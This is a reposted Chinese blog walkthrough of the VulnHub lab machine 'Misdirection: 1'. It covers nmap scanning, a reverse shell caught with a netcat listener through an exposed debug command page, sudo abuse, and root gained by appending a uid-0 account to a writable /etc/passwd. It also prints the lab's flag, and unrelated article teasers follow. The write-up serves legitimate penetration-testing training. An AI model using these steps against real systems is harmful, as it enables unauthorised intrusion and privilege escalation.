[VulnHub靶机渗透] Misdirection: 1

news2024/10/7 8:19:36
🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【python】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!


目录

前言

一、信息收集

1、主机探测

2、端口扫描

3、漏洞扫描

nmap漏洞扫描

二、渗透测试

1、web渗透+信息收集

2、迁移shell

三、提权

1、sudo提权

2、user.txt

3、root权限


前言

靶机精讲之Misdirection,vulnhub靶机,不难,但开始阶段很容易被误导,渗透目标选择的优先级容易选错以致费时,死磕一点还是快速跳跃,需要权衡、经验和智慧。用webshell获得系统立足点,两次提权获得root权限。这台机器很标准,其中多了一点点曲折和趣味,是高仿真场景的抽象,规模不大,但渗透体验很棒,细节满满。

一、信息收集

1、主机探测

发现靶机IP地址是192.168.103.154

┌──(root💀kali)-[~/桌面]
└─# arp-scan -l

2、端口扫描

扫描靶机,发现靶机开放了22、80、3306、8080端口

┌──(root💀kali)-[~/桌面]
└─# nmap -sS -A -p- 192.168.103.154

3、漏洞扫描

nmap漏洞扫描

利用namp扫描,扫描出来了好几个漏洞,我们可以进行详细分析

┌──(root💀kali)-[~/桌面]
└─# nmap --script=vuln -p22,80,3306,8080 192.168.103.154

80端口下的漏洞有:

CSRF:这里的web登录注册页面漏洞扫描是发现csrf,但是比较复杂,并且对我们渗透测试拿root权限来讲,并不是第一选择

sql注入:这里nmap扫描出来sql注入漏洞,后面可以进行证实

3306端口:mysql-vuln-cve2012-2122

mysql-vuln-cve2012-2122 是指 MySQL 数据库中的一个漏洞,该漏洞被称为CVE-2012-2122。这个漏洞可以允许未经身份验证的攻击者通过网络连接到 MySQL 服务器并以管理员权限执行任意代码。

只要知道用户名,不断尝试就能够直接登入SQL数据库。

8080端口:扫描出来了很多的web目录,可以尝试访问下

二、渗透测试

1、web渗透+信息收集

先访问下80端口下的web页面,发现很杂,内容很多,这里面有很多可能是可以找到线索的,但是我们从目前看,我们还可以看看别的方向的线索,比如8080端口,如果8080端口也没有什么有价值的信息,我们就可以再仔细地对80web页面进行挖掘。

一般这种靶场也是框架漏洞也是有的,所以也需要查看下,但是这个靶场是个python的一个框架,也没有在网上找到有关的漏洞情况。

我们现在可以访问下8080端口,它是一个很常见的Apache2 Ubuntu Default Page的一个静态页面,对我们的渗透测试来讲价值不大,我们开始利用nmap扫描漏洞的时候,扫描到了很多的目录,我们可以尝试访问下

我们尝试访问8080的目录,里面很多都是没有价值的目录

/debug/ 目录下有个命令执行的shell cmd页面,发现可以进行执行命令,我们可以看到是个www-data低权限账户,说明我们后续要进行提权,我们这里可以考虑进行迁移shell

2、迁移shell

我们需要把8080端口下面的shell迁移到kali攻击机上

先在kali上进行监听

┌──(root💀kali)-[~/桌面]
└─# nc -lvnp 1234                                       
listening on [any] 1234 ...

然后在shell上执行迁移shell的命令,这里开始尝试了nc命令,但是没有用,像我们在真实的渗透测试环境中,肯定都会遇到一些命令过滤什么的,不可能说一个命令通吃,所以我给小伙伴们推荐一个自动化写反弹shell或者迁移shell的木马网站

Online - Reverse Shell GeneratorOnline Reverse Shell generator with Local Storage functionality, URI & Base64 Encoding, MSFVenom Generator, and Raw Mode. Great for CTFs.icon-default.png?t=N7T8https://www.revshells.com/

这个网站的页面也是蛮好看的

像这里面的都是可以进行尝试选择的,我这里是选择python3的环境,因为这个8080端口是apache开发的,所以可以尝试python的命令,进行执行迁移shell操作

迁移shell成功,但是这个并不是很完美的交互式shell

三、提权

1、sudo提权

这里利用sudo -l 的命令,直接就发现有一个brexit用户,不需要密码直接利用sudo就可以拿到权限

用户 www-data 可以在本地主机上使用 brexit 用户执行 /bin/bash 命令,而且不需要密码验证。

sudo -u brexit /bin/bash

2、user.txt

brexit@misdirection:/var/www/html/debug$ cd /home
cd /home
brexit@misdirection:/home$ ls
ls
brexit
brexit@misdirection:/home$ cd brexit
cd brexit
brexit@misdirection:~$ ls
ls
start-vote.sh  user.txt  web2py
brexit@misdirection:~$ cat user.txt
cat user.txt
404b9193154be7fbbc56d7534cb26339

3、root权限

.viminfo,像这个文件,我们在做渗透测试的是很好可以注重看下,因为这个文件里面是记录的用户进行利用vim编辑

发现他编辑了/etc/passwd目录,我们查看下/etc/passwd

发现/etc/passwd具有可写入的权限

brexit@misdirection:~$ ls -la /etc/passwd
ls -la /etc/passwd
-rwxrwxr-- 1 root brexit 1617 Jun  1  2019 /etc/passwd

尝试写入/etc/passwd,创建一个root权限的用户,然后再登录这个用户,就是具有root权限了

brexit@misdirection:~$ openssl passwd -1 123456
openssl passwd -1 123456
$1$N5.ej9Xq$bdRmAv/l.B7qp923jXVk50
brexit@misdirection:~$ cat /etc/passwd |grep root
cat /etc/passwd |grep root
root:x:0:0:root:/root:/bin/bash
brexit@misdirection:~$ routing:$1$N5.ej9Xq$bdRmAv/l.B7qp923jXVk50:0:0:root:/root:/bin/bash


1. `openssl passwd -1 123456`: 这个命令使用 OpenSSL 工具生成密码哈希。`-1` 选项表示使用 MD5 算法,而 `123456` 是要哈希的密码。生成的密码哈希是 `$1$N5.ej9Xq$bdRmAv/l.B7qp923jXVk50`。

2. `cat /etc/passwd |grep root`: 这个命令使用 `cat` 命令打开 `/etc/passwd` 文件并通过 `grep` 过滤器查找包含 "root" 的行。结果是以 "root" 开头的相关行,其中包含了 root 用户的信息。

3. `routing:$1$N5.ej9Xq$bdRmAv/l.B7qp923jXVk50:0:0:root:/root:/bin/bash`: 这是在 `/etc/passwd` 文件中添加的一行。它描述了名为 "routing" 的用户的信息,包括用户名、密码哈希、用户 ID、组 ID、用户主目录和默认 Shell。


成功拿到了root权限

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1443497.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

jmeter-问题二:JMeter进行文件上传时,常用的几种MIME类型

以下是一些常用的MIME类型及其对应的文件扩展名: 文本类型: text/plain: 通常用于纯文本文件,如 .txt 文件。 text/html: 用于HTML文档,即 .html 文件。 application/msword: Microsoft Word文档,即 .doc 和 .docx 文件。 图像…

在Ubuntu22.04上部署ComfyUI

ComfyUI 是 一个基于节点流程的 Stable Diffusion 操作界面,可以通过流程,实现了更加精准的工作流定制和完善的可复现性。每一个模块都有特定的的功能,我们可以通过调整模块连接达到不同的出图效果,特点如下: 1.对显存…

2024年 前端JavaScript入门到精通 第一天

主要讲解JavaScript核心知识,包含最新ES6语法,从基础到API再到高级。让你一边学习一边练习,重点知识及时实践,同时每天安排大量作业,加深记忆,巩固学习成果。 1.1 基本软件与准备工作 1.2 JavaScript 案例 …

C语言rand随机数知识解析和猜数字小游戏

rand随机数 rand C语言中提供了一个可以随机生成一个随机数的函数&#xff1a;rand&#xff08;&#xff09; 函数原型&#xff1a; int rand(void);rand函数返回的值的区间是&#xff1a;0~RAND_MAX(32767)之间。大部分编译器都是32767。 #include<stdlib.h> int ma…

hummingbird,一个便于将模型部署到边缘设备的Python库!

前言 随着人工智能和机器学习的快速发展&#xff0c;将训练好的模型部署到生产环境中成为了一个重要的任务。而边缘计算设备&#xff0c;如智能手机、嵌入式系统和物联网设备&#xff0c;也需要能够运行机器学习模型以进行实时推理。Python Hummingbird 是一个强大的工具&…

Java学习笔记2024/2/8

面向对象 //面向对象介绍 //面向: 拿、找 //对象: 能干活的东西 //面向对象编程: 拿东西过来做对应的事情 //01-如何设计对象并使用 //1.类和对象 //2.类的几个不错注意事项 1. 类和对象 1.1 类和对象的理解 客观存在的事物皆为对象 &#xff0c;所以我们也常常说万物皆对…

基于springboot会员制医疗预约服务管理信息系统源码和论文

会员制医疗预约服务管理信息系统是针对会员制医疗预约服务管理方面必不可少的一个部分。在会员制医疗预约服务管理的整个过程中&#xff0c;会员制医疗预约服务管理系统担负着最重要的角色。为满足如今日益复杂的管理需求&#xff0c;各类的管理系统也在不断改进。本课题所设计…

Web课程学习笔记--JavaScript操作DOM常用的API

JavaScript操作DOM常用的API 1 什么是DOM 文档对象模型 (DOM) 是HTML和XML文档的编程接口。它提供了对文档的结构化的表述&#xff0c;并定义了一种方式可以使从程序中对该结构进行访问&#xff0c;从而改变文档的结构&#xff0c;样式和内容。 文档对象模型 (DOM) 是对HTML文…

springboot 拦截器

定义 拦截器类似于javaweb中filter 功能 注意: 只能拦截器controller相关的请求 作用 举一个例子&#xff0c;例如我们在Controller中都有一段业务逻辑&#xff0c;这样我们就可以都统一放在拦截器中 因此拦截器的作用就是将controller中共有代码放入到拦截器中执行,减少co…

【算法与数据结构】496、503、LeetCode下一个更大元素I II

文章目录 一、496、下一个更大元素 I二、503、下一个更大元素II三、完整代码 所有的LeetCode题解索引&#xff0c;可以看这篇文章——【算法和数据结构】LeetCode题解。 一、496、下一个更大元素 I 思路分析&#xff1a;本题思路和【算法与数据结构】739、LeetCode每日温度类似…

【VTKExamples::PolyData】第二十四期 InterpolateTerrain

很高兴在雪易的CSDN遇见你 VTK技术爱好者 QQ:870202403 前言 本文分享VTK样例InterpolateTerrain,希望对各位小伙伴有所帮助! 感谢各位小伙伴的点赞+关注,小易会继续努力分享,一起进步! 你的点赞就是我的动力(^U^)ノ~YO 1. InterpolateTerrain 输出: Interp…

精灵图,字体图标,CSS3三角

精灵图 1.1为什么需要精灵图 一个网页中往往会应用很多小的背景图像作为修饰&#xff0c;当网页中的图像过多时&#xff0c;服务器就会频繁的接受和发送请求图片&#xff0c;造成服务器请求压力过大&#xff0c;这将大大降低页面的加载速度。 因此&#xff0c;为了有效地减少…

深入Java容器:概览、设计模式与源码分析

深入Java容器&#xff1a;概览、设计模式与源码分析 Java 容器一、概览Collection1. Set2. List3. Queue Map 二、容器中的设计模式迭代器模式适配器模式 三、源码分析ArrayList1. 概览2. 扩容3. 删除元素4. 序列化5. Fail-Fast Vector1. 同步2. 扩容3. 与 ArrayList 的比较4. …

Java与MySQL的精准结合:打造高效审批流程

1流程思路分析 审批流程&#x1f431;‍&#x1f4bb; 1.串行流程 当前节点审批完成后&#xff0c;下一次节点才能进行操作&#xff0c;例如经理通过之后&#xff0c;总监才能审批&#xff1b; 2.并行流程 一个审批节点需要多人联审。一般有两种方式&#xff1a;会签、或签…

Python中的嵌套字典访问与操作详解

前言 在Python编程中&#xff0c;嵌套字典是一种常见的数据结构&#xff0c;它可以以层次结构的方式组织和存储数据。嵌套字典通常包含字典内嵌套在其他字典中&#xff0c;创建了一种多层级的数据结构。本文将详细介绍如何在Python中访问和操作嵌套字典&#xff0c;包括访问、…

视频无损放大修复工具Topaz Video AI 新手入门教程

想要自学Topaz Video AI &#xff1f;Topaz Video AI 如何使用&#xff1f;这里给大家带来了视频无损放大修复工具Topaz Video AI 新手入门教程&#xff0c;快来看看吧&#xff01; 下载&#xff1a;Topaz Video AI for mac 导入您的文件 有两种方法可以将文件导入 Topaz Vid…

C++重新入门-C++变量作用域

目录 1.C变量定义 2.C作用域 3.局部变量 4.全局变量 5.块作用域变量 6.初始化局部变量和全局变量 1.C变量定义 一般来说有三个地方可以定义变量&#xff1a; 在函数或一个代码块内部声明的变量&#xff0c;称为局部变量。 在函数参数的定义中声明的变量&#xff0c;称为…

【博云2023】乘龙一跃腾云海,侧目抬手摘星河

癸卯渐远&#xff0c;甲辰渐至&#xff0c;预示着被汗水浇灌的种子&#xff0c;必将顶开冻土&#xff0c;迎接阳光。 每逢春节&#xff0c;当亲友彼此问候&#xff0c;博云人总能自豪地说&#xff0c;我们认真地、努力地奋斗&#xff0c;让我们能自信地踏上新的征程。 我们的…

架构(十二)动态Excel

一、引言 作者最近的平台项目需要生成excel&#xff0c;excel的导入导出是常用的功能&#xff0c;但是作者想做成动态的&#xff0c;不要固定模板&#xff0c;那就看看怎么实现。 二、后端 先捋一下原理&#xff0c;前后端的交互看起来是制定好的接口&#xff0c;其实根本上是…

安全的接口访问策略

渗透测试 一、Token与签名 一般客户端和服务端的设计过程中&#xff0c;大部分分为有状态和无状态接口。 一般用户登录状态下&#xff0c;判断用户是否有权限或者能否请求接口&#xff0c;都是根据用户登录成功后&#xff0c;服务端授予的token进行控制的。 但并不是说有了tok…